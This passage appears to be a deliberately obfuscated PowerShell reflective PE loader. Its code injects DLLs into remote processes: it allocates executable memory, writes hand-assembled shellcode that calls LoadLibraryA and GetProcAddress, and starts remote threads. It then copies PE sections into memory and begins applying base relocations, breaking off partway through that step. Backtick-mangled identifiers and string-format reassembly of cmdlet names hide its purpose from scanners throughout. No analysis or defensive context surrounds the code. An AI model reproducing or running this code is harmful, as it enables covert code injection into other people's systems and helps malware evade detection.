${PEi`N`Fo} | &("{2}{0}{1}"-f '-M','ember','Add') -MemberType ("{0}{1}{2}" -f 'No','te','Property') -Name ("{0}{3}{1}{2}" -f'S','onHeaderP','tr','ecti') -Value ${sectI`OnH`eADe`R`pTr}
}
else
{
[IntPtr]${se`ctIon`hE`AdERpTr} = [IntPtr](&("{2}{3}{4}{1}{0}" -f 'd','ne','Add-Sign','edIntAs','Unsig') ([Int64]${PE`info}."n`THEadeR`s`PtR") ([System.Runtime.InteropServices.Marshal]::"sIZE`of"([Type]${WIN`32`TyPES}."imA`GE_n`T_hE`Ad`erS`32")))
${pEI`NFo} | &("{1}{3}{0}{2}" -f'Me','Ad','mber','d-') -MemberType ("{0}{1}{2}" -f 'Not','e','Property') -Name ("{0}{1}{3}{2}" -f'Se','ction','eaderPtr','H') -Value ${SeCT`IoN`H`EAde`RP`TR}
}
if ((${n`Th`eA`DE`RsINFO}."IMa`ge_Nt_h`e`A`dERs"."FILE`h`eadER"."ch`ARA`C`TeRi`STICS" -band ${w`in32C`On`sTaNts}."IMAgE`_FiLe_`D`Ll") -eq ${wiN32`COns`T`AnTS}."im`Ag`e`_fILe_DLl")
{
${pE`in`Fo} | &("{0}{1}{2}" -f'Add-M','em','ber') -MemberType ("{2}{1}{0}" -f'operty','Pr','Note') -Name ("{1}{0}" -f 'leType','Fi') -Value 'DLL'
}
elseif ((${nt`HeA`D`ERsiNFO}."iMA`g`E_n`T_HeaD`ers"."fI`leH`eADer"."ch`ARAc`T`ERistIcS" -band ${wIn32`c`O`NSTA`Nts}."imaGe_Fi`LE_`EXeC`UtaBlE_`iM`AgE") -eq ${wiN32c`o`NstAN`Ts}."iMAGE_fI`LE`_ex`e`cUTa`BlE_Im`A`gE")
{
${p`e`iNfO} | &("{0}{2}{1}"-f 'Add-','r','Membe') -MemberType ("{1}{3}{0}{2}" -f't','NotePr','y','oper') -Name ("{1}{0}" -f 'ileType','F') -Value 'EXE'
}
else
{
Throw ""
}
return ${Pei`NFO}
}
Function I`Mpo`RT-dL`Li`NrEM`OtEPR`OceSs
{
Param(
[Parameter(pOSiTION=0, manDATOry=${T`RUE})]
[IntPtr]
${RE`Motepro`ChAn`dlE},
[Parameter(PoSItIOn=1, MAnDATORy=${T`RUe})]
[IntPtr]
${impOrt`d`L`L`PathPtr}
)
${Ptr`SIZE} = [System.Runtime.InteropServices.Marshal]::"sizE`OF"([Type][IntPtr])
${I`mpo`RTDlLpaTH} = [System.Runtime.InteropServices.Marshal]::"PTRtOST`RI`Ng`Ansi"(${imPO`RTD`Llpa`ThPTR})
${dlLPa`T`HSize} = [UIntPtr][UInt64]([UInt64]${iM`po`R`TDllPa`Th}."le`NGTh" + 1)
${riMPORtDLL`p`A`THPtR} = ${Win3`2`FUNCT`i`ONs}."vIRTuA`lA`LL`oC`Ex"."Invo`ke"(${R`emotE`Pro`ChanDle}, [IntPtr]::"ZE`Ro", ${DlLpaTh`S`IZe}, ${win32c`ON`s`T`AntS}."mem_CoM`M`it" -bor ${Win32`cOnsTA`N`Ts}."mE`M_REseR`VE", ${wiN3`2c`o`NsTAnts}."pAge_RE`AdwR`ITe")
if (${RImpORT`Dl`lPa`T`HP`Tr} -eq [IntPtr]::"ze`Ro")
{
Throw ""
}
[UIntPtr]${NUMbYTE`sw`RITten} = [UIntPtr]::"zE`Ro"
${S`U`CCESs} = ${wIn3`2`FUNCti`onS}."W`RiTePro`c`eSSME`M`oRY"."I`NVOKE"(${RemOTep`RO`Ch`AnDlE}, ${rIM`portdLL`PA`THPtr}, ${Im`PorTDLLp`Ath`P`TR}, ${DLLp`AThs`i`zE}, [Ref]${num`BY`TeSW`Rit`Ten})
if (${Su`cCE`ss} -eq ${Fa`l`Se})
{
Throw ""
}
if (${DlLPA`T`hSize} -ne ${nu`mByT`EswRITTeN})
{
Throw ""
}
${KeR`NEL3`2H`A`Ndle} = ${wi`N32`FU`NcT`IOnS}."GeTMO`DuL`e`hAn`Dle"."inV`Oke"("kernel32.dll")
${lOA`dlibRar`y`AA`ddr} = ${Win3`2f`Un`ctiONs}."GeTpR`o`CAddR`esS"."iN`Vo`Ke"(${kEr`Nel3`2hAnDLE}, "LoadLibraryA")
[IntPtr]${d`lLaDD`R`EsS} = [IntPtr]::"z`erO"
if (${Pe`i`NFo}."pe64B`iT" -eq ${T`RUE})
{
${lO`ADlIBRary`ArE`Tmem} = ${w`i`N3`2f`UNctiONS}."virTUA`Lal`LOcEX"."iN`Vo`Ke"(${ReMot`eprOC`H`An`Dle}, [IntPtr]::"Z`ero", ${D`lLpATh`sI`ze}, ${w`i`N32C`oNStAntS}."mem`_cO`m`MIT" -bor ${w`i`N32C`OnsTANtS}."m`EM_`R`EServe", ${wI`N3`2c`on`stAnTS}."pAGE_R`eADW`R`itE")
if (${LOadLibRarY`A`R`et`MEM} -eq [IntPtr]::"z`ERO")
{
Throw ""
}
${LOADLi`B`RAr`ysC1} = @(0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9)
${lO`ADl`ib`RArYsc2} = @(0x48, 0xba)
${lo`AdL`iB`RaryS`c3} = @(0xff, 0xd2, 0x48, 0xba)
${lO`A`DLI`BRarySc4} = @(0x48, 0x89, 0x02, 0x48, 0x89, 0xdc, 0x5b, 0xc3)
${sClE`N`GTh} = ${lo`A`DlIbRa`RySC1}."LEN`g`Th" + ${L`o`ADl`IBrarySc2}."L`e`NGTH" + ${LoA`dLiB`RAry`S`C3}."Len`GTH" + ${LOa`dlib`RAR`Ysc4}."lenG`TH" + (${P`TrSiZE} * 3)
${scPS`mEm} = [System.Runtime.InteropServices.Marshal]::"aLLo`Ch`gLO`BAL"(${sC`L`e`NGth})
${SC`p`sMe`mOrigiN`AL} = ${scpS`MEM}
&("{5}{0}{3}{2}{1}{4}" -f'rite','Mem','BytesTo','-','ory','W') -Bytes ${LOaDLI`B`RaRYs`c1} -MemoryAddress ${SC`pSM`Em}
${s`CPS`meM} = &("{3}{4}{0}{2}{1}"-f 'Si','ned','gnedIntAsUnsig','Ad','d-') ${s`CP`SmEm} (${lO`AD`l`iBrARysC1}."L`e`NGtH")
[System.Runtime.InteropServices.Marshal]::"sT`RUc`TU`REtop`TR"(${rI`mPORTD`LlP`A`ThPTR}, ${S`c`PSmeM}, ${fa`lSE})
${s`cp`smEm} = &("{2}{0}{3}{1}"-f'Uns','gned','Add-SignedIntAs','i') ${sC`P`SmEm} (${pT`R`SIZE})
&("{2}{0}{3}{4}{1}" -f 'BytesToMe','y','Write-','m','or') -Bytes ${LO`ADLIBr`ARYSC2} -MemoryAddress ${sc`Ps`MEm}
${sCpS`m`Em} = &("{0}{1}{4}{5}{2}{3}"-f 'Add-','Si','dIntAsUnsigne','d','gn','e') ${s`cp`smeM} (${L`OaDL`Ibra`R`YSC2}."L`engTH")
[System.Runtime.InteropServices.Marshal]::"st`RU`Ctu`REtOPTr"(${lOaDlI`B`RA`RY`A`ADdR}, ${s`C`psMEM}, ${F`Alse})
${SC`PSm`em} = &("{3}{4}{1}{2}{5}{0}"-f 'gned','Si','gnedIntAsU','Add','-','nsi') ${SCP`sm`Em} (${P`T`RSIZe})
&("{2}{5}{4}{1}{0}{3}"-f'BytesToMem','e-','W','ory','t','ri') -Bytes ${loaDlib`R`Ary`Sc3} -MemoryAddress ${S`CPSm`EM}
${ScPsm`em} = &("{1}{4}{2}{0}{3}"-f 'ns','A','gnedIntAsU','igned','dd-Si') ${SC`P`sMEm} (${loa`DliBr`A`R`YsC3}."l`EN`gTH")
[System.Runtime.InteropServices.Marshal]::"sTRuctuRe`T`o`ptr"(${L`oad`L`ibR`ArY`AR`eTmEm}, ${scP`sMEM}, ${fAl`se})
${s`cpsmem} = &("{3}{4}{1}{2}{0}"-f'Unsigned','I','ntAs','Add-Sig','ned') ${ScP`sM`em} (${pTR`SI`zE})
&("{0}{4}{2}{3}{1}"-f'W','mory','e-Byt','esToMe','rit') -Bytes ${LOa`dL`i`BraRYsc4} -MemoryAddress ${s`cpSMEm}
${s`cPsMem} = &("{0}{1}{2}{3}" -f 'Add-SignedIn','tAsU','nsig','ned') ${scPs`m`EM} (${lOADLibrA`R`yS`c4}."L`EngTH")
${r`sc`ADDr} = ${WI`N32fU`NctI`O`NS}."viR`Tu`Al`AllOceX"."iNv`o`KE"(${rE`mo`TEpROchA`NDlE}, [IntPtr]::"Z`eRo", [UIntPtr][UInt64]${SC`leN`GTh}, ${w`IN32`Cons`TANTs}."m`eM`_`COMmIT" -bor ${wiN32`c`oN`STAN`TS}."m`EM_ReSer`VE", ${WIn32coN`S`TAntS}."p`Age`_e`xEcUTE_`R`EAd`WRite")
if (${RS`cADDr} -eq [IntPtr]::"Z`ERO")
{
Throw ""
}
${sUc`ceSs} = ${Win`3`2FU`NctIO`NS}."wR`iTeprOC`E`SsMEmOry"."INVO`kE"(${rEmotE`Pro`ch`AnDle}, ${r`scA`Ddr}, ${sc`ps`mem`ORI`gi`NAL}, [UIntPtr][UInt64]${S`clE`NGTH}, [Ref]${nu`mbYT`esW`R`IttEN})
if ((${S`Ucce`SS} -eq ${Fal`sE}) -or ([UInt64]${Num`BYTe`SWri`T`Ten} -ne [UInt64]${Sc`l`engtH}))
{
Throw ""
}
${RthRe`ADhand`le} = &("{1}{4}{3}{2}{0}"-f'moteThread','Cr','e-Re','t','ea') -ProcessHandle ${rEM`OTE`pRoch`A`N`dLE} -StartAddress ${R`scAd`dr} -Win32Functions ${W`In32Func`Tio`Ns}
${R`eSU`lT} = ${WiN32f`Unc`T`i`ONs}."WAitF`o`Rsingle`oBject"."IN`VokE"(${RTHR`e`AD`HaNdle}, 20000)
if (${RE`s`ULt} -ne 0)
{
Throw ""
}
[IntPtr]${reT`U`RNVa`lmeM} = [System.Runtime.InteropServices.Marshal]::"al`LOcHgLO`B`Al"(${PT`Rsi`zE})
${rE`Sult} = ${wIN32`F`UnCtI`o`Ns}."Re`AdPRoCES`SM`emOry"."InVO`Ke"(${ReMOtE`PR`oCh`AndLe}, ${lOAd`Li`BRARy`ARet`m`em}, ${R`et`Ur`NVALMEM}, [UIntPtr][UInt64]${PTr`Size}, [Ref]${NumByT`E`sWRIt`T`en})
if (${R`ES`Ult} -eq ${F`AlsE})
{
Throw ""
}
[IntPtr]${dLl`ADd`Ress} = [System.Runtime.InteropServices.Marshal]::"p`TRTOst`Ru`cturE"(${ReT`URNV`AlMeM}, [Type][IntPtr])
${w`In`32`FUNC`TioNs}."VirTUalFr`e`EEX"."iN`VoKE"(${REMOte`proC`Ha`NDLe}, ${Lo`AD`LIB`R`ARY`A`ReTmEM}, [UIntPtr][UInt64]0, ${wi`N3`2coNStAnTs}."mEm`_REL`E`ASe") | &("{1}{2}{0}"-f'l','Out-N','ul')
${wIN32f`U`NCt`I`ons}."VI`Rt`UA`l`FReeeX"."i`NVOKE"(${REmotEPro`CHA`Nd`le}, ${rs`CAd`dr}, [UIntPtr][UInt64]0, ${WIn32C`O`NsT`An`Ts}."mEm_`R`eLea`Se") | &("{0}{1}" -f 'O','ut-Null')
}
else
{
[IntPtr]${rt`h`RE`AdHA`NdlE} = &("{4}{1}{2}{3}{0}"-f 'd','te-','Re','moteThrea','Crea') -ProcessHandle ${REMO`T`eP`RoC`HaNdlE} -StartAddress ${LOAD`L`ib`RAry`Aad`DR} -ArgumentPtr ${rI`mpo`RTdllPat`H`pTR} -Win32Functions ${WiN32f`U`NctIO`Ns}
${r`e`suLT} = ${W`IN`32FUNCTi`Ons}."w`AIt`Fors`i`NglEO`BjECT"."inVO`kE"(${RT`HRE`Ad`HanDle}, 20000)
if (${Res`U`LT} -ne 0)
{
Throw ""
}
[Int32]${eXiT`c`O`DE} = 0
${R`esU`lt} = ${WI`N3`2`FunCTIoNs}."gET`e`xITCo`DE`THReAD"."in`Vo`ke"(${r`THReA`dHA`NDlE}, [Ref]${eXI`TCO`dE})
if ((${r`eSu`lT} -eq 0) -or (${exit`cO`DE} -eq 0))
{
Throw ""
}
[IntPtr]${DL`la`d`dREsS} = [IntPtr]${e`xi`TcodE}
}
${wIN3`2fU`NCtiO`NS}."VIR`TUA`lFR`EEeX"."IN`VOkE"(${rem`oteproc`HaNd`Le}, ${R`imp`oRTdllp`A`ThPtr}, [UIntPtr][UInt64]0, ${W`In32`c`ONS`TanTs}."m`E`M`_RelEaSE") | &("{2}{0}{1}" -f 't-Nul','l','Ou')
return ${d`ll`AD`DresS}
}
Function g`e`T-Re`moT`EPRocAdDrEsS
{
Param(
[Parameter(pOsiTIOn=0, mANdATOry=${t`RUE})]
[IntPtr]
${R`E`mo`Te`pROch`ANDLE},
[Parameter(POSition=1, MaNdAtory=${t`RuE})]
[IntPtr]
${RE`mOtE`Dllhand`LE},
[Parameter(posItIoN=2, mAndatORy=${t`RuE})]
[IntPtr]
${fU`NctiO`N`NAMeptr},
[Parameter(PoSitIoN=3, maNdatorY=${t`RUE})]
[Bool]
${l`oADb`yORDINAl}
)
${pt`R`siZe} = [System.Runtime.InteropServices.Marshal]::"SI`zeoF"([Type][IntPtr])
[IntPtr]${RfU`NcN`AMep`Tr} = [IntPtr]::"Z`ERo"
if (-not ${LOAdB`Yo`R`dINAl})
{
${F`UncTI`ONnaMe} = [System.Runtime.InteropServices.Marshal]::"PTr`T`OSTrINg`ANsI"(${funCtI`o`Nn`Ameptr})
${f`UNcTI`o`N`NamesIze} = [UIntPtr][UInt64]([UInt64]${FUncTI`Onna`mE}."L`EnGtH" + 1)
${r`FUNcNAMeP`TR} = ${WIN32`FUnC`T`iONs}."vIRtuA`Lall`o`C`Ex"."invO`kE"(${ReMoTe`PR`o`CHa`N`dLE}, [IntPtr]::"Z`Ero", ${F`UnC`Tio`NnamEsI`Ze}, ${wI`N32co`Ns`TAnTs}."me`M_`cOMmIT" -bor ${WiN`32C`ONs`TAN`TS}."mem_R`EsE`RvE", ${wI`N32Con`s`TaNts}."pAge_`R`ea`DwRitE")
if (${rF`UnCNam`EpTr} -eq [IntPtr]::"z`eRO")
{
Throw ""
}
[UIntPtr]${n`UMB`Y`TeS`WRitT`En} = [UIntPtr]::"ze`RO"
${SuCC`E`sS} = ${WIn32fu`N`CtiO`NS}."Wr`ItEPRoCEs`SMe`M`oRY"."Inv`OkE"(${Rem`OtEP`RoCh`A`NDLE}, ${r`FUNcn`A`MePTr}, ${Function`NAm`e`PTr}, ${func`TIOn`N`A`MEsIZE}, [Ref]${n`UMb`YTe`sWRIT`TEN})
if (${s`U`cCess} -eq ${FA`LSE})
{
Throw ""
}
if (${fuN`CtIo`N`N`AMeSizE} -ne ${NUM`BytEs`w`R`itTEN})
{
Throw ""
}
}
else
{
${r`FUncNa`M`ePtR} = ${FUN`CTioNnAM`e`ptr}
}
${kErn`el3`2han`dLE} = ${w`in`32`FunCT`iONS}."GE`TModu`LehAN`DlE"."INv`o`Ke"("kernel32.dll")
${GeT`PR`o`C`ADdRESSa`DDr} = ${WI`N3`2fu`NcTi`onS}."GetP`RocaDD`R`E`ss"."in`VOke"(${KerNel`3`2`hAndLE}, "GetProcAddress")
${gEtpROc`A`ddrE`s`SrETmeM} = ${wi`N32fuN`C`TIONs}."vI`Rtu`AlaL`loCEx"."inv`O`kE"(${rem`oTEPrO`c`H`AnDLE}, [IntPtr]::"Z`eRo", [UInt64][UInt64]${p`Trsi`ze}, ${wi`N3`2cONsT`AnTS}."meM`_Com`mIT" -bor ${wIn`32co`NSTA`NtS}."M`em_reSE`Rve", ${w`In32cO`Nstants}."PagE_REaD`W`R`Ite")
if (${GetpRoc`A`dd`RESs`R`EtmeM} -eq [IntPtr]::"Ze`Ro")
{
Throw ""
}
[Byte[]]${GE`T`pRO`cAD`DReSsSC} = @()
if (${p`EInfO}."pE`64bit" -eq ${Tr`Ue})
{
${geTpRo`C`AD`dr`esS`sC1} = @(0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9)
${GeTPrO`caD`d`Re`sssC2} = @(0x48, 0xba)
${g`etp`Roc`A`DdRESssc3} = @(0x48, 0xb8)
${g`et`PrOCa`dDre`SSsc4} = @(0xff, 0xd0, 0x48, 0xb9)
${GE`Tpr`OcAd`DRESs`sc5} = @(0x48, 0x89, 0x01, 0x48, 0x89, 0xdc, 0x5b, 0xc3)
}
else
{
${geTpro`C`AdDReSS`sC1} = @(0x53, 0x89, 0xe3, 0x83, 0xe4, 0xc0, 0xb8)
${gEtPr`OCaDdR`e`SS`sc2} = @(0xb9)
${getProcaD`d`REs`sS`C3} = @(0x51, 0x50, 0xb8)
${GEtp`R`OCad`D`RESs`sC4} = @(0xff, 0xd0, 0xb9)
${geT`pROC`A`ddre`SsSc5} = @(0x89, 0x01, 0x89, 0xdc, 0x5b, 0xc3)
}
${sCl`eNg`Th} = ${getp`Roc`AdDressS`C1}."l`En`GtH" + ${gEt`Proc`Add`ReSSS`C2}."l`E`NgtH" + ${gET`pro`CADd`R`eSSsC3}."lE`Ng`Th" + ${gEt`PROCaDd`ResSs`c4}."L`enGTH" + ${gE`T`PROCaDd`ResSS`c5}."lEn`GtH" + (${PTR`sIze} * 4)
${S`Cps`MEM} = [System.Runtime.InteropServices.Marshal]::"a`LlOChgL`obal"(${SC`lenGth})
${scpSM`Em`orIG`in`AL} = ${s`cpSM`Em}
&("{2}{1}{3}{0}"-f'ry','ite-Bytes','Wr','ToMemo') -Bytes ${G`Etp`R`oCa`dDreSSS`C1} -MemoryAddress ${Sc`PS`mem}
${scPsM`em} = &("{5}{3}{2}{1}{0}{4}"-f'ign','ntAsUns','ignedI','dd-S','ed','A') ${s`cP`smeM} (${getPROC`ADd`R`eSSSc1}."l`ENgth")
[System.Runtime.InteropServices.Marshal]::"s`T`RuCTUrETOp`Tr"(${ReMOTedllh`An`d`Le}, ${S`cpS`mEm}, ${FA`LSE})
${S`cPSm`EM} = &("{0}{2}{5}{4}{1}{3}{6}"-f 'A','g','dd-S','n','tAsUnsi','ignedIn','ed') ${s`Cp`SMEM} (${p`TrSi`zE})
&("{1}{0}{3}{2}"-f'tes','Write-By','mory','ToMe') -Bytes ${geTpR`ocAD`DResss`c2} -MemoryAddress ${S`CpSM`eM}
${s`CPSM`EM} = &("{5}{2}{0}{4}{7}{1}{3}{6}"-f 'S','ed','-','I','i','Add','ntAsUnsigned','gn') ${ScPS`M`eM} (${g`ET`PROc`ADDres`ssC2}."le`N`GTh")
[System.Runtime.InteropServices.Marshal]::"S`TRUc`TurE`TO`ptR"(${rF`UNCN`A`mEpTR}, ${scpsm`EM}, ${fa`L`Se})
${sC`p`SMeM} = &("{0}{2}{3}{1}" -f'Add-Sign','ed','edIn','tAsUnsign') ${scP`Smem} (${ptRSi`ze})
&("{2}{1}{3}{0}"-f 'ry','-BytesTo','Write','Memo') -Bytes ${geTpRo`cA`DDReSSs`c3} -MemoryAddress ${scP`sM`Em}
${Scp`SMEM} = &("{6}{5}{1}{0}{3}{4}{2}"-f'ig','d-S','sUnsigned','nedInt','A','d','A') ${SC`Psm`EM} (${g`e`TpROcAdd`ReSSsc3}."LeN`gTH")
[System.Runtime.InteropServices.Marshal]::"s`TRuct`URe`T`OPTR"(${geT`PR`o`caDDreS`sADDr}, ${Sc`pSM`Em}, ${Fal`SE})
${scPsM`Em} = &("{2}{0}{4}{6}{3}{1}{5}"-f 'Sig','ne','Add-','nsig','n','d','edIntAsU') ${sc`psmEm} (${P`TRsIZe})
&("{2}{1}{3}{0}"-f 'y','e-BytesTo','Writ','Memor') -Bytes ${GETPRoCAD`DRe`s`SsC4} -MemoryAddress ${SC`PS`mEm}
${SC`p`SmEm} = &("{0}{2}{3}{1}" -f'A','ed','dd-S','ignedIntAsUnsign') ${ScPS`m`eM} (${Ge`TProCADdr`eSsS`c4}."L`e`NgtH")
[System.Runtime.InteropServices.Marshal]::"STRuc`Ture`TO`ptR"(${Getp`R`o`CAddrESs`RetMEm}, ${s`Cps`mEm}, ${F`ALse})
${SCP`Sm`eM} = &("{4}{0}{3}{5}{1}{2}" -f'gn','ne','d','edIntAsUns','Add-Si','ig') ${s`cPsmem} (${P`TRSiZe})
&("{3}{0}{2}{1}{4}"-f'e-By','oMem','tesT','Writ','ory') -Bytes ${GEtPr`OCaDdR`Es`S`sc5} -MemoryAddress ${sC`p`SMEM}
${sc`PSMem} = &("{4}{3}{1}{0}{5}{2}" -f'sUn','dIntA','gned','d-Signe','Ad','si') ${S`CPs`mEM} (${gEtP`R`Oca`DDR`eSssC5}."leNg`Th")
${RscaD`DR} = ${win`32fUnC`TIONS}."VIrtUa`La`LLoC`ex"."Inv`okE"(${rE`MOTEpR`o`CHan`Dle}, [IntPtr]::"Ze`Ro", [UIntPtr][UInt64]${Sc`L`EnGtH}, ${wIn3`2co`NSta`NtS}."m`e`M_Com`mIT" -bor ${WIN32`cOn`sT`AN`Ts}."me`M`_reSErVE", ${W`iN32`consT`ANTS}."page_EX`e`CUT`e_ReA`d`wRIte")
if (${rScA`d`DR} -eq [IntPtr]::"zE`Ro")
{
Throw ""
}
[UIntPtr]${NU`MBY`TE`Sw`RiTTEN} = [UIntPtr]::"Z`ErO"
${su`CcEss} = ${wIN32`FUncT`io`NS}."wr`Ite`pR`oCEsSmeMOrY"."i`Nvo`Ke"(${r`EmOTe`pRo`CHAN`dLE}, ${R`SCAd`dR}, ${sCpSm`em`OrIgINAL}, [UIntPtr][UInt64]${S`Cl`ength}, [Ref]${NUMbYtes`wr`iTt`EN})
if ((${S`UcC`ESS} -eq ${FAl`sE}) -or ([UInt64]${n`U`M`BYtesWRItTEN} -ne [UInt64]${scL`ENgth}))
{
Throw ""
}
${RtHread`h`A`N`dle} = &("{2}{4}{0}{1}{3}" -f '-R','e','Cre','moteThread','ate') -ProcessHandle ${R`e`moT`Ep`ROCha`Ndle} -StartAddress ${r`SCaDdr} -Win32Functions ${WiN32fu`NCtI`Ons}
${rE`su`lt} = ${WIN3`2fuNcTI`ons}."w`AItFOrSI`NGl`EOBJECT"."I`NvOKE"(${rtH`R`eAD`HandLe}, 20000)
if (${R`ESU`LT} -ne 0)
{
Throw ""
}
[IntPtr]${re`TUrNvaL`M`em} = [System.Runtime.InteropServices.Marshal]::"ALl`ochglo`BaL"(${PT`RSi`ze})
${Re`SU`lT} = ${wi`N`32FunC`TI`ons}."REAd`p`ROCEssMe`MORY"."InvO`ke"(${rEMot`E`Procha`ND`lE}, ${GE`TpR`oCadd`RES`sR`ETmEm}, ${r`E`T`Urnval`mEM}, [UIntPtr][UInt64]${PT`RSIze}, [Ref]${num`By`TesWRiTTeN})
if ((${r`E`sULt} -eq ${F`AL`se}) -or (${nUmbYTEswri`T`TeN} -eq 0))
{
Throw ""
}
[IntPtr]${pR`OCADd`ResS} = [System.Runtime.InteropServices.Marshal]::"PTrTos`TRUctu`RE"(${rEtuR`NVaL`M`em}, [Type][IntPtr])
${wiN32`FU`N`CtiONs}."VIr`TU`Al`FRe`eeX"."i`NvO`kE"(${rEmOtEP`R`ocH`AN`Dle}, ${rSc`Ad`dr}, [UIntPtr][UInt64]0, ${wIN32Co`NS`TA`N`Ts}."M`Em`_RELEaSE") | &("{0}{2}{1}"-f'Out','ll','-Nu')
${WiN`32`FunCTi`ONS}."VirTUA`lfr`E`EeX"."INv`OkE"(${REmOte`P`Ro`chanD`le}, ${GEtProCadD`REssR`et`m`EM}, [UIntPtr][UInt64]0, ${Wi`N3`2CONStAn`TS}."MeM`_`ReLEASE") | &("{1}{0}{2}"-f'ut','O','-Null')
if (-not ${Loa`dB`yo`Rdi`NAL})
{
${wi`N32f`UNcTiONS}."vIRTuaL`F`Reeex"."inV`o`Ke"(${REm`o`TePro`CH`ANDle}, ${RFu`N`cNAmEP`TR}, [UIntPtr][UInt64]0, ${WiN3`2c`oNStAn`Ts}."m`eM_`RE`leaSe") | &("{2}{0}{1}" -f'ut-','Null','O')
}
return ${Pr`Oc`AdD`Ress}
}
Function CO`PY-SectI`O`Ns
{
Param(
[Parameter(pOsITION = 0, mAnDaTORy = ${t`RUE})]
[Byte[]]
${peby`T`eS},
[Parameter(POSitiOn = 1, mANDAtORY = ${tr`UE})]
[System.Object]
${PE`I`NFO},
[Parameter(posiTion = 2, mandAToRY = ${t`RUe})]
[System.Object]
${wI`N32`FU`N`CTIONs},
[Parameter(pOSItIOn = 3, ManDAtORY = ${T`RuE})]
[System.Object]
${wI`N32TYp`eS}
)
for( ${I} = 0; ${i} -lt ${pe`InFO}."iMagE`_n`T_`Hea`DeRs"."f`ILEhE`AdeR"."nu`mBER`O`FseC`TIOnS"; ${I}++)
{
[IntPtr]${s`ECtiONh`eADE`Rptr} = [IntPtr](&("{5}{0}{2}{4}{7}{6}{3}{1}"-f'-S','ned','ign','Unsig','e','Add','tAs','dIn') ([Int64]${p`ei`NFO}."s`ECT`iOnh`e`ADErPTr") (${I} * [System.Runtime.InteropServices.Marshal]::"SIz`EOF"([Type]${Win3`2ty`PeS}."imA`GE`_SEcT`i`On_heAd`er")))
${SE`CTIoN`h`eAD`ER} = [System.Runtime.InteropServices.Marshal]::"ptRT`OStruC`Ture"(${S`EctiON`heADeR`ptr}, [Type]${WIN3`2Ty`PEs}."IMag`e`_seCtI`on_heaDEr")
[IntPtr]${seCtionde`s`Taddr} = [IntPtr](&("{3}{0}{6}{4}{5}{2}{1}"-f 'Si','ed','n','Add-','IntA','sUnsig','gned') ([Int64]${P`EIn`Fo}."P`eh`Andle") ([Int64]${S`e`CtIoNh`e`AdER}."VI`RtUaL`Ad`D`REsS"))
${siZ`EOfraWDa`TA} = ${sE`ctIOnh`EA`dER}."s`IzEoFra`w`D`ATa"
if (${SECTIo`NHEa`DER}."P`Oi`Nt`E`RToRaWDAta" -eq 0)
{
${siZ`eoFrAW`d`A`Ta} = 0
}
if (${sIZ`eofRa`Wd`A`TA} -gt ${SeCTI`oN`H`eadEr}."VI`RTua`lsi`ZE")
{
${SIze`O`F`RAWda`TA} = ${sECT`Ion`hE`AdEr}."VIr`TuAl`SIZe"
}
if (${S`izeOfrA`wd`ATa} -gt 0)
{
&("{3}{1}{2}{0}{5}{4}{6}"-f 'Ran','em','ory','Test-M','eVa','g','lid') -DebugString "Copy-Sections::MarshalCopy" -PEInfo ${pEIN`FO} -StartAddress ${se`CTi`o`NDEStAd`DR} -Size ${S`Izeo`FRAWD`Ata} | &("{2}{1}{0}"-f 'l','-Nul','Out')
[System.Runtime.InteropServices.Marshal]::"C`opY"(${p`EB`yteS}, [Int32]${SectiON`hEA`D`eR}."Poi`NtErTOr`A`WdAtA", ${s`ECTI`O`ND`eS`Taddr}, ${SizE`OfR`AwD`ATA})
}
if (${s`EC`TiOnHEa`DER}."SiZ`EOfRA`wdAtA" -lt ${SeCt`i`OnH`E`ADer}."vi`RTUAl`sIZe")
{
${D`i`FFEReNCe} = ${sE`cti`ONhE`ADeR}."virtUa`L`sizE" - ${siZ`EOF`RaW`dAta}
[IntPtr]${ST`A`RtaDdR`e`ss} = [IntPtr](&("{6}{1}{2}{5}{4}{3}{0}" -f 'ned','-Sign','ed','ig','s','IntAsUn','Add') ([Int64]${SECtIOnDESTa`D`Dr}) ([Int64]${SI`ZEofr`Aw`dATA}))
&("{0}{1}{4}{2}{3}" -f 'Test-Me','m','RangeVal','id','ory') -DebugString "Copy-Sections::Memset" -PEInfo ${PE`in`Fo} -StartAddress ${S`T`AR`TaD`dress} -Size ${DiF`F`erEncE} | &("{1}{2}{0}"-f'Null','O','ut-')
${wIN32`FU`NcTi`ONS}."ME`mSet"."INv`okE"(${ST`A`Rtadd`REsS}, 0, [IntPtr]${di`Ff`ere`NcE}) | &("{0}{2}{1}"-f 'Ou','ll','t-Nu')
}
}
}
Function upd`ATE-meMO`R`Ya`dDRess`es
{
Param(
[Parameter(posITIon = 0, mANdAtORY = ${t`RUE})]
[System.Object]
${p`e`iNfo},
[Parameter(pOsITion = 1, ManDaTorY = ${tr`UE})]
[Int64]
${o`R`iGIN`ALImag`EBa`se},
[Parameter(PosITIOn = 2, mAndatoRY = ${T`Rue})]
[System.Object]
${wIN32Con`ST`AN`Ts},
[Parameter(PoSitioN = 3, MANDaTory = ${tr`UE})]
[System.Object]
${wi`N32TYp`eS}
)
[Int64]${baSE`DifFE`REN`CE} = 0
${AddD`iffeReN`ce} = ${t`Rue}
[UInt32]${im`A`geBA`SerE`L`OCsize} = [System.Runtime.InteropServices.Marshal]::"SIZ`EOf"([Type]${win`3`2TYP`es}."im`AGE_B`AsE_`RElOcAtion")
if ((${OrigI`NaLIm`Ag`eBASE} -eq [Int64]${Pe`inFo}."e`FfecTivepeH`A`N`D`LE") `
-or (${pein`Fo}."imaG`E_NT_`hE`ADE`Rs"."optiOn`AL`He`ADER"."baSER`eLO`CatI`o`Nta`BLE"."s`IZE" -eq 0))
{
return
}
elseif ((&("{1}{5}{4}{7}{0}{6}{2}{3}"-f'l1','C','ThanVal2AsU','Int','are-','omp','Greater','Va') (${oriG`I`NAL`Im`A`geBAse}) (${PEiN`FO}."eFfeC`TIv`ep`e`HaNdLe")) -eq ${tr`UE})
{
${b`As`edIF`FEREn`ce} = &("{4}{1}{5}{0}{2}{3}" -f's','ub-','ig','ned','S','SignedIntAsUn') (${o`R`IGinA`Lim`A`gebAsE}) (${PeiN`Fo}."EFfectIvE`pe`H`An`DlE")
${a`DDDI`FfERenCe} = ${FA`lse}
}
elseif ((&("{1}{6}{3}{4}{7}{0}{5}{2}"-f'al2As','Co','Int','are','-Val1Great','U','mp','erThanV') (${P`eInFO}."EfFE`c`TIVE`peH`AndLE") (${OriGINal`i`ma`g`ebase})) -eq ${TR`Ue})
{
